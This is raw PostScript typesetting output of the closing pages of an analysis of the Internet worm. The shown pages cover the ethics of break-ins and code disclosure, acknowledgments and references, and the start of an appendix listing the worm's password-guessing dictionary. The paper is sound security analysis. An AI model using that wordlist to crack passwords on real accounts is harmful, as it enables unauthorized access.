2310(rumor)S
2620(swept)S
2918(the)S
3094(community)S
3638(that)S
3845(a)S
3935(``logic)S
4269(bomb'')S
4634(had)S
4834(been)S
3392 V
720(planted)S
1097(in)S
1237(Sun)S
1463(software)S
1894(by)S
2059(a)S
2162(disgruntled)S
2712(employee.)S
3254(Many,)S
3593(many)S
3892(sites)S
4143(turned)S
4478(their)S
4734(system)S
3522 V
720(clocks)S
1040(back)S
1286(or)S
1417(they)S
1646(shut)S
1870(o)S
1925 H
	(f)show 11 -.5 mul h (f)show
11 R
2032(their)S
2272(systems)S
2660(to)S
2785(prevent)S
3152(damage.)S
3592(The)S
3801(personnel)S
4266(at)S
4384(Sun)S
4595(Microsys-)S
3652 V
720(tems)S
967(responded)S
1456(to)S
1581(this)S
1780(in)S
1905(an)S
2047(admirable)S
2524(fashion,)S
2914(conducting)S
3441(in-house)S
3858(testing)S
4191(to)S
4316(isolate)S
4642(any)S
4839(such)S
3782 V
720(threat,)S
1038(and)S
1237(issuing)S
1590(information)S
2149(to)S
2275(the)S
2449(community)S
2991(about)S
3275(how)S
3504(to)S
3630(deal)S
3852(with)S
4088(the)S
4262(situation.)S
4743(Unfor-)S
3912 V
720(tunately,)S
1137(almost)S
1466(everyone)S
1901(else)S
2106(seems)S
2409(to)S
2530(have)S
2771(watched)S
3170(events)S
3485(unfold,)S
3835(glad)S
4059(that)S
4259(they)S
4483(were)S
4729(not)S
4906(the)S
4042 V
720(ones)S
965(who)S
1198(had)S
1400(to)S
1530(deal)S
1756(with)S
1996(the)S
2174(situation.)S
2659(The)S
2873(worm)S
3173(has)S
3363(shown)S
3694(us)S
3836(that)S
4044(we)S
4214(are)S
4389(all)S
4542(a)S
4590 H
	(f)show 11 -.5 mul h (f)show
11 R
4657(ected)S
4930(by)S
4172 V
720(events)S
1042(in)S
1170(our)S
1359(shared)S
1687(environment,)S
2313(and)S
2514(we)S
2684(need)S
2933(to)S
3062(develop)S
3452(better)S
3744(information)S
4306(methods)S
4722(outside)S
4302 V
720(the)S
887(network)S
1279(before)S
1590(the)S
1757(next)S
1979(crisis.)S
4468 V
970(This)S
1206(whole)S
1514(episode)S
1889(should)S
2223(cause)S
2505(us)S
2643(to)S
2769(think)S
3037(about)S
3322(the)S
3497(ethics)S
3794(and)S
3993(laws)S
4235(concerning)S
4762(access)S
4598 V
720(to)S
841(computers.)S
1394(The)S
1598(technology)S
2120(we)S
2281(use)S
2461(has)S
2641(developed)S
3125(so)S
3257(quickly)S
3621(it)S
3717(is)S
3825(not)S
4000(always)S
4338(simple)S
4666(to)S
4786(deter-)S
4728 V
720(mine)S
974(where)S
1274(the)S
1442(proper)S
1761(boundaries)S
2276(of)S
2401(moral)S
2692(action)S
2995(may)S
3219(be.)S
3418(Many)S
3709(senior)S
4012(computer)S
4461(professionals)S
4858 V
720(started)S
1049(their)S
1287(careers)S
1631(years)S
1897(ago)S
2091(by)S
2237(breaking)S
2656(into)S
2864(computer)S
3314(systems)S
3699(at)S
3814(their)S
4051(colleges)S
4446(and)S
4640(places)S
4949(of)S
4988 V
720(employment)S
1306(to)S
1428(demonstrate)S
2000(their)S
2237(expertise.)S
2729(However,)S
3193(times)S
3468(have)S
3710(changed)S
4110(and)S
4304(mastery)S
4687(of)S
4815(com-)S
5118 V
720(puter)S
986(science)S
1348(and)S
1547(computer)S
2002(engineering)S
2560(now)S
2790(involves)S
3204(a)S
3293(great)S
3552(deal)S
3775(more)S
4040(than)S
4269(can)S
4460(be)S
4603(shown)S
4930(by)S
5248 V
720(using)S
1006(intimate)S
1414(knowledge)S
1942(of)S
2080(the)S
2261(\257aws)S
2540(in)S
2673(a)S
2769(particular)S
3236(operating)S
3698(system.)S
4080(Entire)S
4396(businesses)S
4908(are)S
5378 V
720(now)S
960(dependent,)S
1489(wisely)S
1827(or)S
1969(not,)S
2189(on)S
2350(computer)S
2814(systems.)S
3274(People's)S
3702(money,)S
4079(careers,)S
4464(and)S
4672(possibly)S
5508 V
720(even)S
967(their)S
1209(lives)S
1458(may)S
1688(be)S
1832(dependent)S
2323(on)S
2474(the)S
2649(undisturbed)S
3209(functioning)S
3757(of)S
3889(computers.)S
4448(As)S
4611(a)S
4701(society,)S
5638 V
720(we)S
883(cannot)S
1211(a)S
1259 H
	(f)show 11 -.5 mul h (f)show
11 R
1326(ord)S
1508(the)S
1678(consequences)S
2314(of)S
2440(condoning)S
2939(or)S
3065(encouraging)S
3641(behavior)S
4059(that)S
4259(threatens)S
4689(or)S
4815(dam-)S
5768 V
720(ages)S
961(computer)S
1422(systems.)S
1879(As)S
2048(professionals,)S
2702(computer)S
3163(scientists)S
3614(and)S
3819(computer)S
4281(engineers)S
4748(cannot)S
5898 V
720(a)S
768 H
	(f)show 11 -.5 mul h (f)show
11 R
835(ord)S
1014(to)S
1133(tolerate)S
1494(the)S
1661(romanticization)S
2383(of)S
2507(computer)S
2954(vandals)S
3322(and)S
3513(computer)S
3960(criminals.)S
6064 V
970(This)S
1217(incident)S
1622(should)S
1967(also)S
2195(prompt)S
2565(some)S
2849(discussion)S
3360(about)S
3656(distribution)S
4217(of)S
4360(security-related)S
6194 V
720(information.)S
1355(In)S
1501(particular,)S
2003(since)S
2283(hundreds)S
2740(of)S
2886(sites)S
3137(have)S
3398(``captured'')S
3972(the)S
4160(binary)S
4494(form)S
4761(of)S
4906(the)S
6324 V
720(worm,)S
1057(and)S
1268(since)S
1546(personnel)S
2025(at)S
2157(those)S
2442(sites)S
2691(have)S
2950(utilities)S
3335(and)S
3546(knowledge)S
4080(that)S
4298(enables)S
4680(them)S
4954(to)S
6454 V
720(reverse-engineer)S
1486(the)S
1660(worm)S
1956(code,)S
2230(we)S
2397(should)S
2731(ask)S
2917(how)S
3146(long)S
3382(we)S
3549(expect)S
3874(it)S
3976(to)S
4102(be)S
4244(bene\256cial)S
4709(to)S
4834(keep)S
6584 V
720(the)S
903(code)S
1158(unpublished?)S
1826(As)S
1997(mentioned)S
2510(in)S
2645(the)S
2828(introduction,)S
3443(at)S
3571(least)S
3821(eleven)S
4155(independent)S
4741(groups)S
6714 V
720(have)S
976(produced)S
1433(reverse-engineered)S
2312(versions)S
2728(of)S
2869(the)S
3053(worm,)S
3386(and)S
3593(I)S
3678(expect)S
4012(many)S
4305(more)S
4579(have)S
4834(been)S
6844 V
720(done)S
975(or)S
1108(will)S
1322(be)S
1467(attempted,)S
1971(especially)S
2452(if)S
2562(the)S
2739(current)S
3091(versions)S
3500(are)S
3675(kept)S
3907(private.)S
4315(Even)S
4583(if)S
4693(none)S
4949(of)S
6974 V
720(these)S
980(versions)S
1381(is)S
1490(published)S
1953(in)S
2074(any)S
2267(formal)S
2593(way,)S
2837(hundreds)S
3273(of)S
3398(individuals)S
3922(will)S
4128(have)S
4368(had)S
4560(access)S
4872(to)S
4992(a)S
7104 V
720(copy)S
984(before)S
1314(the)S
1500(end)S
1710(of)S
1853(the)S
2039(year.)S
2339(Historically,)S
2938(trying)S
3253(to)S
3391(ensure)S
3728(security)S
4127(of)S
4270(software)S
4698(through)S
7234 V
720(secrecy)S
1106(has)S
1312(proven)S
1676(to)S
1821(be)S
1983(ine)S
2117 H
	(f)show 11 -.5 mul h (f)show
11 R
2184(ective)S
2504(in)S
2649(the)S
2842(long)S
3097(term.)S
3418(It)S
3544(is)S
3677(vital)S
3932(that)S
4156(we)S
4342(educate)S
4734(system)S
7920 V
EP
%%Page: 28 29
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 28 -)S
850 V
720(administrators)S
1397(and)S
1603(make)S
1888(bug)S
2101(\256xes)S
2357(available)S
2800(to)S
2934(them)S
3202(in)S
3336(some)S
3616(way)S
3846(that)S
4059(does)S
4308(not)S
4497(compromise)S
980 V
720(their)S
964(security.)S
1415(Methods)S
1843(that)S
2051(prevent)S
2422(the)S
2599(dissemination)S
3253(of)S
3386(information)S
3947(appear)S
4279(to)S
4407(be)S
4552(completely)S
1110 V
720(contrary)S
1117(to)S
1236(that)S
1434(goal.)S
1276 V
970(Last,)S
1224(it)S
1323(is)S
1434(important)S
1899(to)S
2022(note)S
2248(that)S
2451(the)S
2623(nature)S
2934(of)S
3063(both)S
3297(the)S
3469(Internet)S
3847(and)S
4043(U)S
9 R
4122(NIX)S
11 R
4320(helped)S
4650(to)S
4774(defeat)S
1406 V
720(the)S
888(worm)S
1178(as)S
1303(well)S
1526(as)S
1650(spread)S
1968(it.)S
2124(The)S
2327(immediacy)S
2848(of)S
2972(communication,)S
3717(the)S
3884(ability)S
4199(to)S
4318(copy)S
4564(source)S
4882(and)S
1536 V
720(binary)S
1035(\256les)S
1254(from)S
1502(machine)S
1908(to)S
2029(machine,)S
2463(and)S
2656(the)S
2825(widespread)S
3358(availability)S
3888(of)S
4015(both)S
4247(source)S
4568(and)S
4762(exper-)S
1666 V
720(tise)S
929(allowed)S
1332(personnel)S
1814(throughout)S
2353(the)S
2543(country)S
2934(to)S
3076(work)S
3357(together)S
3772(to)S
3913(solve)S
4200(the)S
4389(infection)S
4834(even)S
1796 V
720(despite)S
1071(the)S
1245(widespread)S
1783(disconnection)S
2433(of)S
2564(parts)S
2817(of)S
2948(the)S
3123(network.)S
3551(Although)S
4008(the)S
4183(immediate)S
4688(reaction)S
1926 V
720(of)S
866(some)S
1153(people)S
1500(might)S
1813(be)S
1971(to)S
2112(restrict)S
2471(communication)S
3210(or)S
3356(promote)S
3777(a)S
3880(diversity)S
4320(of)S
4466(incompatible)S
2056 V
720(software)S
1136(options)S
1501(to)S
1627(prevent)S
1995(a)S
2083(recurrence)S
2581(of)S
2712(a)S
2800(worm,)S
3124(that)S
3329(would)S
3644(be)S
3788(entirely)S
4164(the)S
4339(wrong)S
4660(reaction.)S
2186 V
720(Increasing)S
1211(the)S
1381(obstacles)S
1819(to)S
1941(open)S
2190(communication)S
2910(or)S
3037(decreasing)S
3539(the)S
3708(number)S
4078(of)S
4204(people)S
4531(with)S
4762(access)S
2316 V
720(to)S
840(in-depth)S
1240(information)S
1793(will)S
2000(not)S
2176(prevent)S
2539(a)S
2622(determined)S
3150(attacker\320it)S
3702(will)S
3909(only)S
4140(decrease)S
4549(the)S
4718(pool)S
4949(of)S
2446 V
720(expertise)S
1164(and)S
1371(resources)S
1832(available)S
2276(to)S
2411(\256ght)S
2663(such)S
2913(an)S
3065(attack.)S
3436(Further,)S
3836(such)S
4085(an)S
4236(attitude)S
4614(would)S
4937(be)S
2576 V
720(contrary)S
1129(to)S
1260(the)S
1439(whole)S
1752(purpose)S
2144(of)S
2280(having)S
2624(an)S
2772(open,)S
3059(research-oriented)S
3862(network.)S
4328(The)S
4544(Worm)S
4870(was)S
2706 V
720(caused)S
1052(by)S
1197(a)S
1280(breakdown)S
1801(of)S
1927(ethics)S
2218(as)S
2344(well)S
2568(as)S
2694(lapses)S
2997(in)S
3118(security\320a)S
3658(purely)S
3972(technological)S
4597(attempt)S
4961(at)S
2836 V
720(prevention)S
1222(will)S
1427(not)S
1601(address)S
1962(the)S
2129(full)S
2315(problem,)S
2742(and)S
2933(may)S
3155(just)S
3348(cause)S
3623(new)S
3838(di)S
3924 H
	(f)show 11 -.5 mul h (\256)show
11 R
4016(culties.)S
3096 V
11 B
720(Acknowledgments)S
3262 V
11 R
970(Much)S
1273(of)S
1411(this)S
1618(analysis)S
2019(was)S
2236(performed)S
2738(on)S
2895(reverse-engineered)S
3771(versions)S
4184(of)S
4322(the)S
4503(worm)S
4806(code.)S
3392 V
720(The)S
933(following)S
1404(people)S
1739(were)S
1992(involved)S
2419(in)S
2547(the)S
2723(production)S
3241(of)S
3374(those)S
3648(versions:)S
4120(Donald)S
4485(J.)S
4598(Becker)S
4949(of)S
3522 V
720(Harris)S
1043(Corporation,)S
1652(Keith)S
1946(Bostic)S
2278(of)S
2419(Berkeley,)S
2892(Donn)S
3186(Seeley)S
3528(of)S
3669(the)S
3853(University)S
4367(of)S
4509(Utah,)S
4801(Chris)S
3652 V
720(Torek)S
1030(of)S
1170(the)S
1353(University)S
1866(of)S
2006(Maryland,)S
2509(Dave)S
2788(Pare)S
3031(of)S
3171(FX)S
3361(Development,)S
4029(and)S
4236(the)S
4419(team)S
4681(at)S
4808(MIT:)S
3782 V
720(Mark)S
999(W.)S
1172(Eichin,)S
1529(Stanley)S
1901(R.)S
2045(Zanarotti,)S
2517(Bill)S
2726(Sommerfeld,)S
3339(Ted)S
3551(Y.)S
3733(Ts'o,)S
4005(Jon)S
4201(Rochlis,)S
4609(Ken)S
4834(Rae-)S
3912 V
720(burn,)S
984(Hal)S
1177(Birkeland)S
1645(and)S
1838(John)S
2081(T.)S
2211(Kohl.)S
2527(A)S
2641(disassembled)S
3262(version)S
3620(of)S
3746(the)S
3915(worm)S
4206(code)S
4446(was)S
4650(provided)S
4042 V
720(at)S
832(Purdue)S
1176(by)S
1319(sta)S
1441 H
	(f)show 11 -.5 mul h (f)show
11 R
1541(of)S
1665(the)S
1832(Purdue)S
2176(University)S
2673(Computing)S
3203(Center,)S
3556(Rich)S
3797(Kulawiec)S
4249(in)S
4368(particular.)S
4208 V
970(Thanks)S
1341(to)S
1475(the)S
1657(individuals)S
2195(who)S
2432(reviewed)S
2880(early)S
3146(drafts)S
3443(of)S
3583(this)S
3792(paper)S
4083(and)S
4290(contributed)S
4839(their)S
4338 V
720(advice)S
1041(and)S
1235(expertise:)S
1697(Don)S
1922(Becker,)S
2295(Kathy)S
2599(Heaphy,)S
3003(Brian)S
3283(Kantor,)S
3651(R.)S
3789(J.)S
3895(Martin,)S
4257(Richard)S
4639(DeMillo,)S
4468 V
720(and)S
911(especially)S
1382(Keith)S
1659(Bostic)S
1974(and)S
2165(Steve)S
2442(Bellovin.)S
4634 V
970(My)S
1162(thanks)S
1488(to)S
1613(all)S
1762(these)S
2026(individuals.)S
2616(My)S
2808(thanks)S
3134(and)S
3331(apologies)S
3791(to)S
3916(anyone)S
4271(who)S
4500(should)S
4834(have)S
4764 V
720(been)S
959(credited)S
1344(and)S
1535(was)S
1738(not.)S
5024 V
11 B
720(References)S
5226 V
11 R
720(Allm83.)S
5356 V
970(Allman,)S
1363(Eric,)S
11 I
1608(Sendmail\320An)S
2272(Internetwork)S
2874(Mail)S
3118(Router,)S
11 R
3481(University)S
3981(of)S
4108(California,)S
4617(Berkeley,)S
5486 V
970(1983.)S
1284(Issued)S
1597(with)S
1826(the)S
1993(BSD)S
2241(U)S
9 R
2320(NIX)S
11 R
2513(documentation)S
3199(set.)S
5652 V
720(Brun75.)S
5782 V
970(Brunner,)S
1390(John,)S
11 I
1659(The)S
1857(Shockwave)S
2376(Rider,)S
11 R
2681(Harper)S
3016(&)S
3135(Row,)S
3404(1975.)S
5948 V
720(Cohe84.)S
6078 V
970(Cohen,)S
1324(Fred,)S
1593(``Computer)S
2145(Viruses:)S
2551(Theory)S
2907(and)S
3105(Experiments,'')S
11 I
3800(P)S
9 I
3867(ROCEEDINGS)S
11 I
4462(O)S
9 I
4541(F)S
11 I
4636(T)S
9 I
4698(HE)S
11 I
4858(7T)S
9 I
4975(H)S
6208 V
11 I
970(N)S
9 I
1044(ATIONAL)S
11 I
1442(C)S
9 I
1516(OMPUTER)S
11 I
1969(S)S
9 I
2024(ECURITY)S
11 I
2422(C)S
9 I
2496(ONFERENCE)S
11 R
3016(,)S
3077(pp.)S
3248(240-263,)S
3675(1984.)S
6374 V
720(Denn88.)S
6504 V
970(Denning,)S
1439(Peter)S
1727(J.,)S
1889(``Computer)S
2464(Viruses,'')S
11 I
2962(A)S
9 I
3029(MERICAN)S
11 I
3482(S)S
9 I
3537(CIENTIST)S
11 R
3917(,)S
4009(vol.)S
4242(76,)S
4444(pp.)S
4646(236-238,)S
6634 V
970(May-June)S
1441(1988.)S
6800 V
720(Dewd85.)S
6930 V
970(Dewdney,)S
1455(A.)S
1600(K.,)S
1773(``A)S
1962(Core)S
2213(War)S
2438(Bestiary)S
2842(of)S
2971(viruses,)S
3348(worms,)S
3713(and)S
3909(other)S
4172(threats)S
4502(to)S
4626(computer)S
7060 V
970(memories,'')S
11 I
1536(S)S
9 I
1591(CIENTIFIC)S
11 I
2054(A)S
9 I
2121(MERICAN)S
11 R
2511(,)S
2572(vol.)S
2774(252,)S
3000(no.)S
3171(3,)S
3287(pp.)S
3458(14-23,)S
3775(May)S
4009(1985.)S
7920 V
EP
%%Page: 29 30
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 29 -)S
850 V
720(Gerr72.)S
980 V
970(Gerrold,)S
1371(David,)S
11 I
1700(When)S
1982(Harlie)S
2302(Was)S
2524(One,)S
11 R
2767(Ballentine)S
3252(Books,)S
3595(1972.)S
3909(The)S
11 B
4112(\256rst)S
11 R
4334(edition.)S
1146 V
720(Gram84.)S
1276 V
970(Grampp,)S
1393(Fred.)S
1658(T.)S
1789(and)S
1984(Robert)S
2320(H.)S
2464(Morris,)S
2828(``U)S
9 R
2979(NIX)S
11 R
3176(Operating)S
3651(System)S
4013(Security,'')S
11 I
4516(A)S
9 I
4583(T)S
11 I
4633(&T)S
4818(B)S
9 I
4885(ELL)S
1406 V
11 I
970(L)S
9 I
1032(ABORATORIES)S
11 I
1650(T)S
9 I
1712(ECHNICAL)S
11 I
2180(J)S
9 I
2228(OURNAL)S
11 R
2578(,)S
2639(vol.)S
2841(63,)S
3012(no.)S
3183(8,)S
3299(part)S
3502(2,)S
3618(pp.)S
3789(1649-1672,)S
4326(Oct.)S
4545(1984.)S
1572 V
720(Harr77.)S
1702 V
970(Harrenstien,)S
1554(K.,)S
1736(``Name/Finger,'')S
2534(R)S
9 R
2608(FC)S
11 R
2765(742,)S
3005(SRI)S
3224(Network)S
3654(Information)S
4225(Center,)S
4592(December)S
1832 V
970(1977.)S
1998 V
720(Morr79.)S
2128 V
970(Morris,)S
1348(Robert)S
1698(and)S
1907(Ken)S
2140(Thompson,)S
2691(``U)S
9 R
2842(NIX)S
11 R
3054(Password)S
3527(Security,'')S
11 I
4045(C)S
9 I
4119(OMMUNICATIONS)S
11 I
4906(O)S
9 I
4985(F)S
2258 V
11 I
970(T)S
9 I
1032(HE)S
11 I
1185(A)S
9 I
1252(CM)S
11 R
1387(,)S
1448(vol.)S
1650(22,)S
1821(no.)S
1992(11,)S
2163(pp.)S
2334(594-597,)S
2761(ACM,)S
3073(November)S
3568(1979.)S
2424 V
720(Post82.)S
2554 V
970(Postel,)S
1313(Jonathan)S
1748(B.,)S
1923(``Simple)S
2353(Mail)S
2606(Transfer)S
3020(Protocol,'')S
3538(R)S
9 R
3612(FC)S
11 R
3767(821,)S
4005(SRI)S
4223(Network)S
4652(Informa-)S
2684 V
970(tion)S
1175(Center,)S
1528(August)S
1879(1982.)S
2850 V
720(Reid87.)S
2980 V
970(Reid,)S
1250(Brian,)S
1567(``Re\257ections)S
2179(on)S
2334(Some)S
2630(Recent)S
2979(Widespread)S
3546(Computer)S
4031(Breakins,'')S
11 I
4566(C)S
9 I
4640(OMMUNI-)S
3110 V
970(CATIONS)S
11 I
1368(O)S
9 I
1447(F)S
11 I
1535(T)S
9 I
1597(HE)S
11 I
1750(A)S
9 I
1817(CM)S
11 R
1952(,)S
2013(vol.)S
2215(30,)S
2386(no.)S
2557(2,)S
2673(pp.)S
2844(103-105,)S
3271(ACM,)S
3583(February)S
4011(1987.)S
3276 V
720(Ritc79.)S
3406 V
970(Ritchie,)S
1361(Dennis)S
1717(M.,)S
1916(``On)S
2167(the)S
2346(Security)S
2757(of)S
2893(U)S
9 R
2972(NIX)S
11 R
3132(,'')S
3277(in)S
11 I
3408(U)S
9 I
3487(NIX)S
11 I
3677(S)S
9 I
3732(UPPLEMENTARY)S
11 I
4458(D)S
9 I
4537(OCUMENTS)S
11 R
5012(,)S
3536 V
970(AT)S
1149(&)S
1268(T,)S
1396(1979.)S
3702 V
720(Seel88.)S
3832 V
970(Seeley,)S
1329(Donn,)S
1640(``A)S
1830(Tour)S
2082(of)S
2212(the)S
2385(Worm,'')S
11 I
2805(P)S
9 I
2872(ROCEEDINGS)S
11 I
3467(O)S
9 I
3546(F)S
11 I
3641(1989)S
3901(W)S
9 I
3992(INTER)S
11 I
4282(U)S
9 I
4361(SENIX)S
11 I
4646(C)S
9 I
4720(ONFER-)S
3962 V
970(ENCE)S
11 R
1200(,)S
1261(Usenix)S
1605(Association,)S
2185(San)S
2383(Diego,)S
2712(CA,)S
2926(February)S
3354(1989.)S
4128 V
720(Shoc82.)S
4258 V
970(Shoch,)S
1310(John)S
1555(F.)S
1682(and)S
1877(Jon)S
2067(A.)S
2212(Hupp,)S
2522(``The)S
2802(Worm)S
3120(Programs)S
3579(\320)S
3727(Early)S
4002(Experience)S
4531(with)S
4765(a)S
4851(Dis-)S
4388 V
970(tributed)S
1370(Computation,'')S
11 I
2104(C)S
9 I
2178(OMMUNICATIONS)S
11 I
2971(O)S
9 I
3050(F)S
11 I
3163(T)S
9 I
3225(HE)S
11 I
3403(A)S
9 I
3470(CM)S
11 R
3605(,)S
3691(vol.)S
3918(25,)S
4114(no.)S
4310(3,)S
4451(pp.)S
4646(172-180,)S
4518 V
970(ACM,)S
1282(March)S
1600(1982.)S
7920 V
EP
%%Page: 30 31
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 30 -)S
850 V
11 B
720(Appendix)S
1214(A)S
1326(\320)S
1469(The)S
1686(Dictionary)S
1016 V
11 R
970(What)S
1254(follows)S
1631(is)S
1752(the)S
1933(mini-dictionary)S
2664(of)S
2802(words)S
3117(contained)S
3590(in)S
3724(the)S
3906(worm.)S
4271(These)S
4580(were)S
4839(tried)S
1146 V
720(when)S
992(attempting)S
1498(to)S
1619(break)S
1896(user)S
2113(passwords.)S
2665(Looking)S
3072(through)S
3448(this)S
3642(list)S
3812(is,)S
3948(in)S
4068(some)S
4334(sense)S
4605(revealing,)S
1276 V
720(but)S
894(actually)S
1274(raises)S
1556(a)S
1637(signi\256cant)S
2129(question:)S
2566(how)S
2788(was)S
2991(this)S
3184(list)S
3353(chosen?)S
1442 V
970(The)S
1184(assumption)S
1730(has)S
1920(been)S
2170(expressed)S
2645(by)S
2799(many)S
3087(people)S
3423(that)S
3632(this)S
3836(list)S
4016(represents)S
4503(words)S
4815(com-)S
1572 V
720(monly)S
1037(used)S
1273(as)S
1399(passwords;)S
1954(this)S
2148(seems)S
2450(unlikely.)S
2906(Common)S
3351(choices)S
3713(for)S
3874(passwords)S
4365(usually)S
4717(include)S
1702 V
720(fantasy)S
1083(characters,)S
1599(but)S
1787(this)S
1994(list)S
2177(contains)S
2590(none)S
2850(of)S
2988(the)S
3169(likely)S
3467(choices)S
3842(\(e.g.,)S
4112(``hobbit,'')S
4614(``dwarf,'')S
1832 V
720(``gandalf,'')S
1256(``skywalker,'')S
1914(``conan''\).)S
2452(Names)S
2791(of)S
2917(relatives)S
3323(and)S
3516(friends)S
3855(are)S
4022(often)S
4282(used,)S
4546(and)S
4739(we)S
4901(see)S
1962 V
720(women's)S
1173(names)S
1504(like)S
1720(``jessica,'')S
2235(``caroline,'')S
2810(and)S
3020(``edwina,'')S
3560(but)S
3753(no)S
3915(instance)S
4326(of)S
4469(the)S
4655(common)S
2092 V
720(names)S
1053(``jennifer'')S
1590(or)S
1734(``kathy.'')S
2236(Further,)S
2640(there)S
2911(are)S
3096(almost)S
3443(no)S
3606(common)S
4044(men's)S
4364(names)S
4696(such)S
4949(as)S
2222 V
720(``thomas'')S
1232(or)S
1373(either)S
1672(of)S
1813(``stephen'')S
2342(or)S
2483(``steven'')S
2958(\(or)S
3136(``eugene''!\).)S
3773(Additionally,)S
4409(none)S
4673(of)S
4815(these)S
2352 V
720(have)S
959(the)S
1126(initial)S
1417(letters)S
1718(capitalized,)S
2253(although)S
2671(that)S
2869(is)S
2976(often)S
3234(how)S
3456(they)S
3678(are)S
3843(used)S
4077(in)S
4196(passwords.)S
2518 V
970(Also)S
1221(of)S
1355(interest,)S
1749(there)S
2010(are)S
2185(no)S
2338(obscene)S
2734(words)S
3046(in)S
3176(this)S
3380(dictionary,)S
3897(yet)S
4075(many)S
4363(reports)S
4711(of)S
4846(con-)S
2648 V
720(certed)S
1023(password)S
1474(cracking)S
1887(experiments)S
2460(have)S
2703(revealed)S
3109(that)S
3311(there)S
3566(are)S
3735(a)S
3820(signi\256cant)S
4316(number)S
4688(of)S
4815(users)S
2778 V
720(who)S
942(use)S
1121(such)S
1355(words)S
1656(\(or)S
1816(phrases\))S
2213(as)S
2337(passwords.)S
2944 V
970(The)S
1182(list)S
1360(contains)S
1768(at)S
1889(least)S
2132(one)S
2333(incorrect)S
2764(spelling:)S
3187(``commrades'')S
3879(instead)S
4233(of)S
4367(``comrades'';)S
5004(I)S
3074 V
720(also)S
936(believe)S
1291(that)S
1495(``markus'')S
2001(is)S
2114(a)S
2201(misspelling)S
2748(of)S
2877(``marcus.'')S
3403(Some)S
3692(of)S
3821(the)S
3993(words)S
4299(do)S
4447(not)S
4626(appear)S
4954(in)S
3204 V
720(standard)S
1125(dictionaries)S
1671(and)S
1863(are)S
2029(non-English)S
2601(names:)S
2947(``jixian,'')S
3405(``vasant,'')S
3892(``puneet,'')S
4391(``umesh,'')S
4885(etc.)S
3334 V
720(There)S
1018(are)S
1194(also)S
1415(some)S
1691(unusual)S
2077(words)S
2389(in)S
2519(this)S
2723(list)S
2903(that)S
3112(I)S
3192(would)S
3511(not)S
3695(expect)S
4023(to)S
4152(be)S
4298(considered)S
4815(com-)S
3464 V
720(mon:)S
980(``anthropogenic,'')S
1812(``imbroglio,'')S
2452(``rochester,'')S
3057(``fungible,'')S
3628(``cerulean,'')S
4202(etc.)S
3630 V
970(I)S
1048(imagine)S
1444(that)S
1651(this)S
1854(list)S
2033(was)S
2246(derived)S
2617(from)S
2873(some)S
3148(data)S
3373(gathering)S
3830(with)S
4069(a)S
4160(limited)S
4516(set)S
4681(of)S
4815(pass-)S
3760 V
720(words,)S
1085(probably)S
1544(in)S
1699(some)S
2000(known)S
2368(\(to)S
2559(the)S
2762(author\))S
3146(computing)S
3685(environment.)S
4369(That)S
4638(is,)S
4808(some)S
3890 V
720(dictionary-based)S
1486(or)S
1613(brute-force)S
2133(attack)S
2430(was)S
2636(used)S
2873(to)S
2995(crack)S
3266(a)S
3350(selection)S
3776(of)S
3903(a)S
3987(few)S
4187(hundred)S
4583(passwords)S
4020 V
720(taken)S
998(from)S
1252(a)S
1341(small)S
1621(set)S
1784(of)S
1916(machines.)S
2432(Other)S
2722(approaches)S
3254(to)S
3381(gathering)S
3836(passwords)S
4333(could)S
4617(also)S
4834(have)S
4150 V
720(been)S
963(used\320Ethernet)S
1682(monitors,)S
2139(Trojan)S
2468(Horse)S
2766(login)S
3030(programs,)S
3509(etc.)S
3701(However)S
4138(they)S
4364(may)S
4590(have)S
4834(been)S
4280 V
720(cracked,)S
1119(the)S
1286(ones)S
1520(that)S
1718(were)S
1962(broken)S
2299(would)S
2607(then)S
2829(have)S
3068(been)S
3307(added)S
3601(to)S
3720(this)S
3913(dictionary.)S
4446 V
970(Interestingly)S
1570(enough,)S
1966(many)S
2255(of)S
2391(these)S
2662(words)S
2976(are)S
3154(not)S
3341(in)S
3473(the)S
3653(standard)S
4070(on-line)S
4427(dictionary)S
4918(\(in)S
4576 V
720(/usr/dict/words\).)S
1516(As)S
1677(such,)S
1945(these)S
2209(words)S
2516(are)S
2687(useful)S
2994(as)S
3124(a)S
3211(supplement)S
3756(to)S
3880(the)S
4052(main)S
4310(dictionary-based)S
4706 V
720(attack)S
1020(the)S
1193(worm)S
1488(used)S
1728(as)S
1858(strategy)S
2245(#4,)S
2423(but)S
2604(I)S
2680(would)S
2995(suspect)S
3358(them)S
3618(to)S
3744(be)S
3887(of)S
4018(limited)S
4371(use)S
4557(before)S
4875(that)S
4836 V
720(time.)S
5002 V
970(This)S
1216(unusual)S
1608(composition)S
2203(might)S
2511(be)S
2664(useful)S
2982(in)S
3119(the)S
3304(determination)S
3965(of)S
4107(the)S
4292(author\(s\))S
4738(of)S
4880(this)S
5132 V
720(code.)S
1026(One)S
1247(approach)S
1686(would)S
2000(be)S
2142(to)S
2267(\256nd)S
2478(a)S
2565(system)S
2910(with)S
3144(a)S
3230(user)S
3450(or)S
3579(local)S
3830(dictionary)S
4313(containing)S
4815(these)S
5262 V
720(words.)S
1099(Another)S
1508(would)S
1834(be)S
1988(to)S
2125(\256nd)S
2348(some)S
2631(system\(s\))S
3103(where)S
3420(a)S
3519(signi\256cant)S
4029(quantity)S
4441(of)S
4583(passwords)S
5392 V
720(could)S
997(be)S
1133(broken)S
1470(with)S
1699(this)S
1892(list.)S
5818 V
720(aaa)S
5948 V
720(academia)S
6078 V
720(aerobics)S
6208 V
720(airplane)S
6338 V
720(albany)S
6468 V
720(albatross)S
6598 V
720(albert)S
6728 V
720(alex)S
6858 V
720(alexander)S
6988 V
720(algebra)S
7118 V
720(aliases)S
7248 V
720(alphabet)S
5818 V
1457(ama)S
5948 V
1457(amorphous)S
6078 V
1457(analog)S
6208 V
1457(anchor)S
6338 V
1457(andromache)S
6468 V
1457(animals)S
6598 V
1457(answer)S
6728 V
1457(anthropogenic)S
6858 V
1457(anvils)S
6988 V
1457(anything)S
7118 V
1457(aria)S
7248 V
1457(ariadne)S
5818 V
2194(arrow)S
5948 V
2194(arthur)S
6078 V
2194(athena)S
6208 V
2194(atmosphere)S
6338 V
2194(aztecs)S
6468 V
2194(azure)S
6598 V
2194(bacchus)S
6728 V
2194(bailey)S
6858 V
2194(banana)S
6988 V
2194(bananas)S
7118 V
2194(bandit)S
7248 V
2194(banks)S
5818 V
2931(barber)S
5948 V
2931(baritone)S
6078 V
2931(bass)S
6208 V
2931(bassoon)S
6338 V
2931(batman)S
6468 V
2931(beater)S
